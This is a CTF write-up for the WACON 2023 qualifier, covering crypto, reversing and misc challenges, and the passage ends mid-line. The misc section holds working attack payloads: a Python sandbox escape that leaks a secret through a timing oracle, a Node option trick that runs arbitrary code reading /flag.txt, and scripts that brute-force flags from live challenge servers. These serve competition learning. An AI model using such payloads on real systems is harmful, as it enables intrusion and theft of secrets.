# WACON 2023 Prequal Writeup ## Crypto/PSS Since the master seed is 5-byte long, and we are given $2^{17}$ instances/merkle trees, we can randomly bruteforce the master seed and see whether the tree generated matches any of the merkle trees we have. On expectation, we only need to search $2^{23}$ such seeds to find a match. After that, we can construct the whole tree and recover the secret. ```py from Crypto.Util.number import * import os from hashlib import sha256 from tqdm import tqdm seed_len = 5 def cascade_hash(msg, cnt, digest_len): assert digest_len <= 32 msg = msg * 10 for _ in range(cnt): msg = sha256(msg).digest() return msg[:digest_len] f = open("pss_data", "rb") first_half = set({}) second_half = set({}) for i in tqdm(range(1 << 17)): s = f.read(24) first = s[:5] second = s[5:10] third = s[10:15] party = s[15] perm = s[16:].hex() if party < 4: second_half.add(first) else: first_half.add(first) for _ in tqdm(range(1 << 23)): seed = os.urandom(5) res = cascade_hash(seed, 123, 2 * seed_len) if res[:seed_len] in first_half: print(seed) if res[seed_len:] in second_half: print(seed) ``` ## Crypto/Cry Given $n = r\cdot p(p-1)$, we can find another multiple of $p$ by calculating $2^n - 1 \bmod{n}$, and by taking the gcd of two multiples, we can recover $p$. The trick works because the multiplicative group $Z_p^*$ has order $p-1$. Similarly, now we are given $n = p(p^2+1)r$. If we take a random element $e$ in the group $\text{PolynomialRing}(\mathbb{Z}_n)) / f(x)$ for some irreducible polynomial $f$ with degree 4, $e^n$ will have order $p^2-1$ under $\mathbb{Z}_p$ (instead of $\mathbb{Z}_n$). Notice that the elements with order $p^2-1$ all have the form $a+bi$, where $i=\sqrt{-1}$ (because $p = 4k+3$). Therefore, if we choose $f(x) = g(x)^2 + 1$ for some quadratic $g$, all the elements with order $p-1$ have the form $a+b\cdot g(x)$, and the $x^3$ coefficient is 0. In other words, the coefficient of $x^3$ in $e^n$ should be a multiple of $p$, and by taking gcd with $n$ we can recover $p$. ```py import random import math def solve(n): R.<x> = PolynomialRing(Zmod(n)) while True: a = random.randint(0, n) modulus = x ^ 4 + 2 * a * x^3 + a^2 * x^2 + 1 S.<y> = R.quotient(modulus) ele = random.randint(0, n) * y ^ 3 + random.randint(0, n) * y ^ 2 + random.randint(0, n) * y + random.randint(0, n) ele = ele ** n candidate = int(list(ele)[-1]) p = math.gcd(candidate, n) if p > 1 and p < n: return p solve(n1//2) ``` ## Rev/Baby Artist We have what appears to be a simple piet program in the top left. Using [repiet](https://github.com/boothby/repiet), we can achieve a direct decompilation into Python. Additionally, we can use optimization flag to make the output much cleaner. ``` repiet -o chall_opt.py -O 9 -b python chall.bmp ``` This produces very clean output. Here is the main logic snippet: ```python # read in 35 characters and push ascii value onto stack stack.append(125) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(63) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(121) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) a = pop() a is not None and psh(a,a) stack.append(114) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) a,b = pop2() a is not None and psh(b-a) stack.append(2) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(95) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(52) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(78) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) a = pop() a is not None and psh(a,a) stack.append(11) a,b = pop2() a is not None and a!=0 and psh(b%a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(11) a,b = pop2() a is not None and a!=0 and psh(b//a) stack.append(10) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(52) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(119) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) a = pop() a is not None and psh(a,a) stack.append(95) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(33) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(3) a,b = pop2() a is not None and psh(b-a) stack.append(100) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(110) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(49) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(87) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(52) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(114) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(68) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(95) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(110) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(85) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(102) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(123) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) a = pop() a is not None and psh(a,a) stack.append(3) a,b = pop2() a is not None and a!=0 and psh(b//a) stack.append(17) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) a,b = pop2() a is not None and psh(b-a) stack.append(1) a,b = pop2() a is not None and psh(b+a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(48) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(50) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(78) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(79) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(67) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(65) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a,b = pop2() a is not None and psh(b*a) stack.append(87) a,b = pop2() a is not None and psh(b-a) a = pop() a is not None and psh(int(not a)) a = pop() # a is 1 here means good ``` It's very long but not complicated, we can see that most checks are just comparing with the direct ASCII values. Here are a few special check examples: - next char is 2 less in ASCII value than previous - char % 11 == 0 and char // 11 == 10 - char is same as previous char - char // 3 == 17 Other than those, you can just take direct ASCII values and build the flag backwards. ``` 125 63 121 114 116 95 52 78 110 52 119 95 95 33 103 110 49 87 52 114 68 95 110 85 102 123 ``` Final flag: ``` WACON2023{fUn_Dr4W1ng!__w4nN4_try?} ``` ## Rev/Adult Artist Patcher: ```py= data = open("masterpiece", "rb").read() bad = bytes.fromhex("2ec4e27196849a0c800e08") nops = bytes([0x90] * len(bad)) jmpbad = bytes.fromhex("e900000000") # these jmps should be jumping 11 bytes ahead jmpgood = bytes.fromhex("e90b000000") data = data.replace(bad, nops).replace(jmpbad, jmpgood) target = 0x08049206 target = target.to_bytes(4, "little") assert data.count(target) == 1 start = data.find(target) xdata = data[:start] for i in range(101): jmpptr = data[start + i * 4:start + (i + 1) * 4] jmpptr = int.from_bytes(jmpptr, "little") jmpptr += 11 # skip nops jmpptr = jmpptr.to_bytes(4, "little") xdata += jmpptr xdata += data[start + 404:] open("masterpiece_patched", "wb").write(xdata) ``` Solver: ```py= from pwn import * from capstone import * sbox = [101, 242, 170, 79, 1, 137, 147, 58, 194, 8, 28, 195, 59, 63, 123, 111, 56, 254, 219, 122, 144, 127, 95, 81, 75, 61, 23, 104, 128, 155, 41, 196, 136, 121, 245, 202, 40, 15, 6, 42, 112, 68, 103, 47, 35, 139, 185, 116, 120, 11, 114, 106, 141, 55, 30, 253, 175, 74, 80, 86, 161, 32, 255, 235, 94, 163, 183, 34, 248, 221, 110, 109, 89, 198, 209, 54, 226, 25, 93, 169, 229, 20, 131, 83, 208, 156, 187, 135, 52, 88, 165, 38, 143, 164, 172, 186, 213, 118, 124, 115, 26, 87, 78, 159, 36, 181, 151, 10, 39, 92, 227, 191, 91, 19, 126, 67, 4, 50, 31, 0, 22, 2, 97, 162, 217, 173, 145, 193, 212, 239, 51, 133, 224, 49, 243, 71, 24, 236, 244, 72, 180, 69, 60, 134, 228, 158, 119, 18, 203, 108, 132, 190, 201, 167, 53, 168, 152, 238, 218, 250, 231, 160, 199, 189, 76, 140, 252, 174, 12, 249, 65, 57, 77, 105, 146, 197, 37, 82, 7, 66, 206, 44, 13, 215, 99, 176, 210, 43, 150, 148, 184, 166, 64, 142, 17, 188, 96, 154, 130, 223, 33, 216, 125, 90, 45, 113, 27, 70, 29, 232, 205, 233, 84, 237, 129, 207, 222, 138, 85, 220, 21, 102, 178, 192, 234, 62, 149, 16, 214, 107, 5, 177, 3, 200, 153, 157, 179, 230, 171, 251, 246, 225, 204, 241, 73, 9, 211, 247, 182, 14, 100, 240, 98, 117, 46, 48] inv_sbox = [sbox.index(i) for i in range(256)] finales = [1294921289, 3556600223, 1209339435, 1851550862, 3576661803, 935542824, 890675233, 1466443951, 2899239426, 2509770635, 3811890241, 4189575110, 3407890776, 151811947, 2021481915, 2224322179, 937543787, 2656386893, 2430690788, 937170305, 1595242648, 1313689251, 3449380580, 3981305360, 1805462865, 1000700706, 1394137676, 3037656969, 2213052412, 621078233, 44681021, 3125866984, 2270629699, 81231002, 732808204, 1962199736, 500787935, 3021495503, 343658160, 2011362800, 3051343062, 2649999813, 479102860, 1517017809, 2535887555, 2767036793, 864456536, 3221496586, 1236923337, 2535989912, 750098417, 2125817032, 3181958189, 1206391945, 911571295, 3648355814, 1356734492, 3557631056, 2749801664, 1533604227, 1218930141, 3796472889, 2869013044, 2909236950, 770707252, 1775872345, 1668747571, 164579730, 3194457712, 309450627, 725278243, 2120079896, 225892262, 2486260442, 2483139025, 3603672921, 4265882258, 3540118190, 2883355033, 1214344214, 708738895, 1637597950, 4066117530, 843823022, 1243164200, 1354787218, 1808234221, 2545499367, 2573345003, 423063696, 4155282283, 1510805520, 3005416590, 3521755546, 1409845455, 487735804, 3385604609, 1807103354, 2376904603, 2343410443] # max bits > 0 == width of the value in bits (e.g., int_16 -> 16) # Rotate left: 0b1001 --> 0b0011 rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) # Rotate right: 0b1001 --> 0b1100 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) def xor(a, b): return (a ^ b) & 0xffffffff def nott(a): return (~a & 0xffffffff) def sub(a, b): return (a - b) & 0xffffffff def add(a, b): return (a + b) & 0xffffffff def bswap(a): a3 = (a >> 24) & 0xff a2 = (a >> 16) & 0xff a1 = (a >> 8) & 0xff a0 = (a >> 0) & 0xff return (a0 << 24) | (a1 << 16) | (a2 << 8) | a3 # {'inc', 'jmp', 'xor', 'bswap', 'sub', 'dec', 'not', 'nop', 'rol', 'mov', 'add', 'ror'} msg = b"" f = open("./masterpiece_patched", "rb").read() blocks = [] start = 0x1062 for _ in range(101): jmptableptr = int.from_bytes(f[start:start+4], "little") print(hex(jmptableptr)) start += 4 blocks.append(jmptableptr - 0x8048000) for ind, s in enumerate(blocks[:-1]): CODE = f[s:blocks[ind+1]] # idk get block ddd = [] md = Cs(CS_ARCH_X86, CS_MODE_32) for i in md.disasm(CODE, 0x1000): ddd.append((i.address, i.mnemonic, i.op_str)) ddd = ddd[::-1] fff = finales[ind] al = 0 ah = 0 cl = 0 i = 0 while (i < len(ddd)): opp = ddd[i][1] sss = ddd[i][2] if opp == 'nop' or opp == 'jmp': i += 1 continue if opp == 'bswap': fff = bswap(fff) elif opp == 'add': vvv = int(sss[sss.index(',') + 1:], 16) fff = sub(fff, vvv) elif opp == 'sub': vvv = int(sss[sss.index(',') + 1:], 16) fff = add(fff, vvv) elif opp == 'ror': vvv = int(sss[sss.index(',') + 1:], 16) fff = rol(fff, vvv, 32) elif opp == 'rol': vvv = int(sss[sss.index(',') + 1:], 16) fff = ror(fff, vvv, 32) elif opp == 'xor': vvv = int(sss[sss.index(',') + 1:], 16) fff = xor(fff, vvv) elif opp == 'not': fff = nott(fff) elif opp == 'inc': fff = fff - 1 elif opp == 'dec': fff = fff + 1 elif opp == 'mov': if sss.startswith('cl, al'): fff = (fff >> 8 << 8) | cl elif sss.startswith('cl, ah'): fff = (fff ^ (ah << 8)) | (cl << 8) elif sss.startswith('al, byte'): al = fff & 0xff cl = inv_sbox[al] elif sss.startswith('ah, byte'): ah = (fff >> 8) & 0xff cl = inv_sbox[ah] else: print(ddd[i]) break # print(hex(ddd[i][0]), ddd[i], hex(fff)) i += 1 msg += int.to_bytes(fff, 4, "little") print(msg) ``` ## Rev/Terrible Flavor The program first prints a greeting and asks for your input, it then splits the string using `_` as delimiter and checks that there are three parts. Then it creates some classes, first a 4-tuple of `0,0,0,3`, which represents a position (The first two elements are x/y coordinates). Then we put that into a class constructor. The constructor takes a size, a global vector (which is initialized to be more 4-tuples in another function), and the constructor also takes the position we just created. It will then create the class by moving the position into the class, and creating a matrix of size by size cells (I'd guess the type is something like `std::vector<std::vector<Cell>>` where cells are the aforementioned 4-tuples of x,y,extra_info,type, but more about that later). We iterate over the global vector we gave it, and store the elements where they belong (so we extract the x,y coordinates and then put the element into the matrix at position (x,y)). We do this for a total of three times, with bigger sizes and different starting positions, which matches the amount of parts our input needs to have. Then we call some transformation function which takes our input, and iterates over it, two chars at a time, it subtracts 0x30 from both chars, then checks that both are in range between (and including) zero, and (excluding) the size for the class instance. Then we push the 4-tuple `[first_char-0x30, second_char-0x30, 0, 3]` into a new vector which, after iterating over all chars in the current part, is returned. Finally in main we call a check function that is part of the puzzle class. At first we assumed it was some sort of maze where the global arrays are walls, but that after looking at the arrays carefully we determined that there were not enough walls (or not enough walkable tiles if you looked at them that way). So we had to understand the check function. It first allocas a size by size array `visited`, where we mark all positions we step on, and if we ever step on something twice we stop. Then we have a loop which takes the current position and the next element in our transformed input and checks that we are either in the same column or in the same row, if not we fail immediatly. After that we calculate the x and y offsets to single step from the current position to the target position (coming from our input). If we step onto a field which has a 1 in last position we check that our final target is that position (so we can't walk straight over that cell). We also subtract the distance between start and end of the current walk from the third element of the cell. If we step onto a cell which has a 2 in the last position we add it to a vector which will be handled later. We also check that this cell is not the final position (so we need to step straight through it and can't stop on it) After we finished stepping we first do the same check for cell 1 for the position we started from and subtract the whole distance we just walked if it was a 1 cell. Then we iterate over the list of 2-cells we encountered. For all of them we also subtract the whole distance we just walked from the third element of the cell. And that's basically the whole function done, the code inside the loop is duplicated after it to close the loop by going to the start position instead of any position in the input vector. So we determined it is some form of puzzle where we have to draw a loop from the starting position, turning at the 1-cells and walking straight through the 2-cells. And we need those to have a certain number of loop segments going in or out of them. Here are the puzzle constants: ``` a = [[0,0,6,1],[2,0,4,1],[4,1,5,1],[2,2,2,2],[3,3,3,1],[5,3,5,2],[1,5,3,2]] b = [[5,0,5,1],[7,0,3,1],[1,1,2,1],[2,1,3,1],[1,2,2,1],[2,2,3,1],[0,3,2,1],[3,3,3,1],[6,3,3,1],[7,3,2,1],[1,4,2,2],[0,5,4,1],[3,5,5,1],[6,5,3,2],[3,6,2,1],[5,6,2,1],[7,6,2,1],[6,7,2,1]] c = [[0,0,4,1],[2,0,5,1],[5,0,5,1],[8,0,4,2],[10,0,7,1],[7,1,3,1],[4,2,2,1],[6,2,4,2],[1,3,2,2],[2,4,3,1],[8,4,3,2],[0,5,2,1],[2,5,2,1],[4,5,7,1],[0,6,2,1],[8,6,3,1],[1,7,2,1],[3,7,2,1],[4,7,2,1],[2,8,2,2],[7,8,2,1],[9,8,4,2],[0,9,2,2],[6,9,2,2],[9,9,6,1],[5,10,4,1]] ``` The first puzzle starts at (0,0) with size 6, the second at (1,0) with size 8, and the third at (0,0) but with size 11. The cells are `[x,y,loop_segment_size,type]`. After some googling we figured out that Shingoki matches this description pretty well; luckily there was even a solver on [github](https://github.com/joshprzybyszewski/shingokisolver) available, sadly it didn't work straight away so some patching was needed. After removing all the online stuff and hardcoding the puzzles it gave the solutions. Now we just have to encode the path from start to end using the points where we turn. The first path I tried usually worked, I'm not sure if there is some way to prevent the reverse path from working. Also I did not see any check that we have to turn on any position, so there might be even some paths that do not turn on the 1-cells but walk straight, but make a quick stop on the cell, like `01 02 03`. But we figured that it if the Shingoki solver find a solution then we should probably take that one. Our final solution which solves the Shingoki using the turn rule was `1011212050554541313212142423333505_40412122424353507071616373744445757666675756464737362627171606053533232404031312020111_1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303`, but as I mentioned we can also construct one which does not always turn, here an example (only the first solution has changed): `2040505545434111123233131434350504_40412122424353507071616373744445757666675756464737362627171606053533232404031312020111_1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303` Both display the You win message, I didn't check if the flag checker actually allows that because the first flag I tried was correct. ## Misc/Let me win We first get the list of participated teams: ```js= res = [] for (let i = 0; i < document.getElementsByTagName('li').length; i++) res.push(document.getElementsByTagName('li')[i].innerText); ``` Gives ```js ['zer0cats', 'CheckTheSign', 'C4T BuT M3W', 'idk', 'kalmaronion', 'HikeBoy', 'justCatchTheFish', 'r3kabunny', 'SNSD', 'organi-cats', 'thequackerscrew', '1daysober', 'More Fried Elite Duck', 'Black Butterflies', 'Project Sakura', 'QQQ', 'ShyKOR', 'Goose N', 'MINUS', 'Balsamic Vinegar', 'Never Stop Exploding', 'DiceDang', 'The Round Network Society', '796e74', 'The Moose', 'Upper Guesser', 'HackingForBeer', 'Waffle Bacon', 'ChordBlue', 'mhackaroni', 'Watermelon Paddler', 'Perfect Pink', 'Katzekatbin', 'The Quack', 'Shellfish', 'Dragon Sushi', 'Emu Eggs Benny', 'YGY', 'OsakaWesterns', 'Polygroot', 'Dragon Vector', 'LCDC', '127', 'Eat, Sleep, Misc, Repeat', 'Nu0L', 'o0ps', 'Bubble Tea Deliverers', 'Dashwhackers', 'A*C*E', 'CloseToAll', 'Deficit', 'squareimentary', 'daejeonelectricdecomposer', 'none2root', 'Inverselab', 'Ever Stop Exploiting', 'copyn', 'SunBugs', 'FBISEC', 'defined', 'NEWSEC'] ``` Now we just need to control challenge points to make leaderboard match the expected output. `z3` can solve it easily. ```py= teams = ['zer0cats', ... , 'defined', 'NEWSEC'] import requests def parse(text): # find all Chal-xx and return list of xx res = [] for i in range(len(text) - 5): if text[i:i+5] == 'Chal-': res.append(int(text[i+5:i+7])) return res # get request to http://175.118.127.123:5000/team/name solves = {} for team in teams: r = requests.get(f'http://175.118.127.123:5000/team/{team}') solves[team] = parse(r.text) print(solves) requested = ['Upper Guesser', 'The Round Network Society', 'Dashwhackers', 'idk', 'mhackaroni', 'Waffle Bacon', 'NEWSEC', 'Balsamic Vinegar', 'HikeBoy', 'Perfect Pink', 'Never Stop Exploding', 'CloseToAll', '127', 'organi-cats', 'HackingForBeer', 'thequackerscrew', '1daysober', 'Project Sakura', 'More Fried Elite Duck', 'The Moose', 'The Quack', 'Emu Eggs Benny', 'kalmaronion', 'Deficit', 'Goose N', 'Bubble Tea Deliverers', 'justCatchTheFish', 'OsakaWesterns', 'Nu0L', 'Eat, Sleep, Misc, Repeat', 'none2root', 'Shellfish', 'Polygroot', 'SNSD', 'C4T BuT M3W', 'Inverselab', 'r3kabunny', 'Watermelon Paddler', 'YGY', 'FBISEC', 'DiceDang', 'LCDC', 'daejeonelectricdecomposer', 'Dragon Vector', 'copyn', 'SunBugs', 'ChordBlue', 'o0ps', 'zer0cats', 'Ever Stop Exploiting', 'QQQ', 'Katzekatbin', 'CheckTheSign', 'ShyKOR', 'Black Butterflies', 'Dragon Sushi', 'defined', '796e74', 'MINUS', 'A*C*E', 'squareimentary'] # turn solves into counts counts = {} for team in teams: for v in solves[team]: if v not in counts: counts[v] = 1 else: counts[v] += 1 solves_refreshed = {} for team in teams: curr = [] for v in solves[team]: curr.append(counts[v]) solves_refreshed[team] = curr solves = solves_refreshed ''' Goal: Give 61 numbers for scores for 1-61 solved challenges in descending order Such that the final ranking is same as requested ''' from z3 import * s = Solver() # define 61 numbers in range[1, 1000000000) and in descending order scores = [Int(f'score{i}') for i in range(61)] for i in range(60): s.add(scores[i] > scores[i+1]) s.add(scores[i] >= 1) s.add(scores[i] < 1000000000) s.add(scores[60] >= 1) s.add(scores[60] < 1000000000) # get points for each team team_total = {} for team in teams: team_total[team] = 0 for i in solves[team]: team_total[team] += scores[i-1] # add constraints with regards to ranking for i in range(len(requested) - 1): s.add(team_total[requested[i]] > team_total[requested[i+1]]) while s.check() == sat: m = s.model() # print m values ans = [m.evaluate(scores[i]) for i in range(61)] payload = {} for i in range(1, 62): payload[f'input{i}'] = str(ans[i-1]) print(payload) # send POST request to http://175.118.127.123:5000/check with format input1=1000&input2=990&...input61=400 r = requests.post('http://175.118.127.123:5000/check', data=payload) print(r.text) break ``` This gives the flag `WACON{e0d1708636f669cd7596d6d81efcb1e117f}`. ## Misc/mic check http://58.225.56.196:5000/robots.txt ``` User-agent: * allow: /W/A/C/O/N/2/ ``` Brute flag character by character, page shows `200 OK` if character is correct. `WACON2023{2060923e53fa205a48b2f9ad47d943c4}` ## Misc/ScavengerHunt ```py= from pwn import * def mk_pld(chr, idx): flag = "(__builtins__ := [x for x in ().__class__.__mro__[-1].__subclasses__() if 'close' in f'{x}'][0].__init__.__globals__['sys'].modules['builtins'], name:=[x for x in __builtins__.dir(__builtins__.__import__('secret')) if x not in ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__']][-1], flag:=__builtins__.getattr(__builtins__.__import__('secret'), name))[-1]" check = f"(flag[{idx}]=='{chr}')" pload = f"(flag:={flag}, exec:=__builtins__.exec, exec('while 1:pass') if {check} else 1)" return pload def check(chr, idx): conn = remote('1.234.10.246', 55555) conn.recv() conn.sendline(mk_pld(chr, idx)) try: conn.recv(timeout=3) return True except: conn.close() return False from string import * chrs = "0123456789abcdef}" from tqdm import tqdm def get_character(idx): for chr in tqdm(chrs): if check(chr, idx): return chr return None if __name__ == "__main__": flag = "WACON2023{" while "}" not in flag: flag += get_character(len(flag)) print(flag) # WACON2023{91d9cec468a8b22b57c2b091beb64bcc} ``` ## Misc/Web? - There's node launch option that can restrict which files the process has read access to - It reads in eval regex from a file - So if you block that read but allow the read to the source code and to `flag.txt` you can get it to skip the eval regex and execute arbitrary code ```json { "expr": "require('fs').readFileSync('/flag.txt',{ encoding: 'utf8', flag: 'r' })", "opt": "--allow-fs-read=/app/eval*,/flag*" } ``` ## Crypto/Push It To The Limit 1. Realize challenge is somewhat similar to https://blog.maple3142.net/2023/06/12/seetf-2023-writeups/#shard 2. Use flatter, tune parameters, split solve script into 20 chunks and run them multi-threaded to speedup: ```py= from Crypto.Util.number import * import os from re import findall from subprocess import check_output from multiprocessing import Pool, cpu_count from tqdm import tqdm import math import sys sys.set_int_max_str_digits(10**4) def flatter(M): # compile https://github.com/keeganryan/flatter and put it in $PATH z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]" ret = check_output(["/usr/local/bin/flatter"], input=z.encode()) return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret))) def small_roots(self, X=None, beta=1.0, epsilon=None, **kwds): from sage.misc.verbose import verbose from sage.matrix.constructor import Matrix from sage.rings.real_mpfr import RR N = self.parent().characteristic() if not self.is_monic(): raise ArithmeticError("Polynomial must be monic.") beta = RR(beta) if beta <= 0.0 or beta > 1.0: raise ValueError("0.0 < beta <= 1.0 not satisfied.") f = self.change_ring(ZZ) P, (x,) = f.parent().objgens() delta = f.degree() if epsilon is None: epsilon = beta / 8 verbose("epsilon = %f" % epsilon, level=2) m = max(beta**2 / (delta * epsilon), 7 * beta / delta).ceil() verbose("m = %d" % m, level=2) t = int((delta * m * (1 / beta - 1)).floor()) verbose("t = %d" % t, level=2) if X is None: X = (0.5 * N ** (beta**2 / delta - epsilon)).ceil() verbose("X = %s" % X, level=2) # we could do this much faster, but this is a cheap step # compared to LLL g = [x**j * N ** (m - i) * f**i for i in range(m) for j in range(delta)] g.extend([x**i * f**m for i in range(t)]) # h B = Matrix(ZZ, len(g), delta * m + max(delta, t)) for i in range(B.nrows()): for j in range(g[i].degree() + 1): B[i, j] = g[i][j] * X**j B = flatter(B) f = sum([ZZ(B[0, i] // X**i) * x**i for i in range(B.ncols())]) R = f.roots() ZmodN = self.base_ring() roots = set([ZmodN(r) for r, m in R if abs(r) <= X]) Nbeta = N**beta return [root for root in roots if N.gcd(ZZ(self(root))) >= Nbeta] n = 24712135189687942739677490021030751776088469214818275631687482073531676912880823269667196936095460153002434759403063429337125873794523587731746689517070810687221399532024093572951282737818446579992570629531618780373767724789390101166147862982539311016801595612323156816999866783427829783286164172896802725820761659256555627406518829192800217880692359914672894220547306033679060066475600137205045054015651689487444267401130160872050085589597109014374199731072611044277806027332254214020499883131062627540945260814416104971893858787291926267157394988131329441246648393933117451348643609850156730059817506513924523851733 c = 19285290054358264594160191119053363484661054622854927550086540936229836207751905061897299540539735528766803248513199392889410922209106513019275525361297785136742517684745274089253401778969310170805452788203125136583847273167894915706201708268160138117578035286292385848441833691098676192230945185815890266453215404593242520989429750775723053435372661531195966551199012453469748764989624596296116016310586535749198878013241527430239006604194528859329192316989103910514620735894760979900228995139208829267762309798970482895132300580481270883276800390489213520429816698576642899381455153039281329012831320123165127378159 p_msb = 161405912451824860188834725646055524173328544131300133372580621368926433914138476338787007253318242142454894032713487340762003643551953941809023233323836630063065828499586237941251339865726273353740523275987884928619323490566227483094269770052935277592758770273832919929071652425379016974435907024060290170880 PR.<x> = PolynomialRing(Zmod(n)) brute = 1021020 rem = [i for i in range(brute) if math.gcd(i, brute) == 1] chunk_num = int(sys.argv[1]) print(f"running on the {chunk_num} chunk") chunk_size = len(rem)//20 rem = rem[chunk_num*chunk_size:(chunk_num+1)*chunk_size] def part(guess): f = (p_msb + (1 << 511)) // brute * brute + brute * x + guess f = f.monic() roots = small_roots(f, X=2^492, beta=0.38, epsilon=20/2047.613) if len(roots) > 0: print(guess) print(roots) return [roots] return [] with Pool(cpu_count()) as pool: for results in tqdm(pool.imap_unordered(part, rem), total=len(rem)): for res in results: print(res) ``` 3. Spin 20 VMs ```bash= sudo apt install -y libgmp-dev libmpfr-dev fplll-tools libfplll-dev libeigen3-dev libopenblas-dev cmake build-essential git sagemath git clone https://github.com/keeganryan/flatter.git && cd flatter mkdir build && cd ./build cmake .. make sudo make install sudo ldconfig sage -pip install tqdm pycryptodome ``` ![](https://hackmd.io/_uploads/S11grrWC3.png) 4. Recover correct brute and get flag ``` 874459 [24712135189687942739677490021030751776088469214818275631687482073531676912880823269667196936095460153002434759403063429337125873794523587731746689517070810687221399532024093572951282737818446579992570629531618780373767724789390101166147862982539311016801595612323156816999866783427829783286164172896802725820761659256555627406518829192800217880692359914672894220547306033679060066475600137205045054015651689487444267401130160872050085589597109014374199731072611044277801747009432617907413300282601481938943937406198173054556526245381401915487613954310056225485113072602433362098271668683622429040139275823141036372410] [24712135189687942739677490021030751776088469214818275631687482073531676912880823269667196936095460153002434759403063429337125873794523587731746689517070810687221399532024093572951282737818446579992570629531618780373767724789390101166147862982539311016801595612323156816999866783427829783286164172896802725820761659256555627406518829192800217880692359914672894220547306033679060066475600137205045054015651689487444267401130160872050085589597109014374199731072611044277801747009432617907413300282601481938943937406198173054556526245381401915487613954310056225485113072602433362098271668683622429040139275823141036372410] ``` ```python= x_maybe = 24712135189687942739677490021030751776088469214818275631687482073531676912880823269667196936095460153002434759403063429337125873794523587731746689517070810687221399532024093572951282737818446579992570629531618780373767724789390101166147862982539311016801595612323156816999866783427829783286164172896802725820761659256555627406518829192800217880692359914672894220547306033679060066475600137205045054015651689487444267401130160872050085589597109014374199731072611044277801747009432617907413300282601481938943937406198173054556526245381401915487613954310056225485113072602433362098271668683622429040139275823141036372410 n = 